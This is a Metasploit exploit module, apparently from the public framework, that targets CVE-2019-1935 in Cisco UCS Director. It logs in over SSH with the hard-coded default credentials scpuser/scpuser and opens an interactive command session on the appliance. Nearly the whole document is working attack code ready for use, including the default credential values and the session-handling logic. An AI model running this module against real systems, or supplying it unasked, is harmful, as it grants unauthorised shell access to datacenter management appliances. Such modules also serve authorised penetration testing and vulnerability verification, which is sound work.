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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'net/ssh'  
require 'net/ssh/command_stream'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::SSH  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Cisco UCS Director default scpuser password",  
'Description' => %q{  
This module abuses a known default password on Cisco UCS Director. The 'scpuser'  
has the password of 'scpuser', and allows an attacker to login to the virtual appliance  
via SSH.  
This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.  
Note that Cisco also mentions in their advisory that their IMC Supervisor and  
UCS Director Express are also affected by these vulnerabilities, but this module  
was not tested with those products.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2019-1935' ],  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
[ 'Cisco UCS Director < 6.7.2.0', {} ],  
],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 21 2019'  
))  
  
register_options(  
[  
Opt::RPORT(22),  
OptString.new('USERNAME', [true, "Username to login with", 'scpuser']),  
OptString.new('PASSWORD', [true, "Password to login with", 'scpuser']),  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
  
def do_login(user, pass)  
factory = ssh_socket_factory  
opts = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:port => rport,  
:use_agent => false,  
:config => false,  
:password => pass,  
:proxy => factory,  
:non_interactive => true,  
:verify_host_key => :never  
}  
  
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(rhost, user, opts)  
end  
rescue Rex::ConnectionError  
return  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"  
return  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:#{rport} SSH - Failed authentication"  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"  
return  
end  
  
if ssh  
conn = Net::SSH::CommandStream.new(ssh)  
ssh = nil  
return conn  
end  
  
return nil  
end  
  
def exploit  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
  
print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")  
conn = do_login(user, pass)  
if conn  
print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")  
handler(conn.lsock)  
end  
end  
end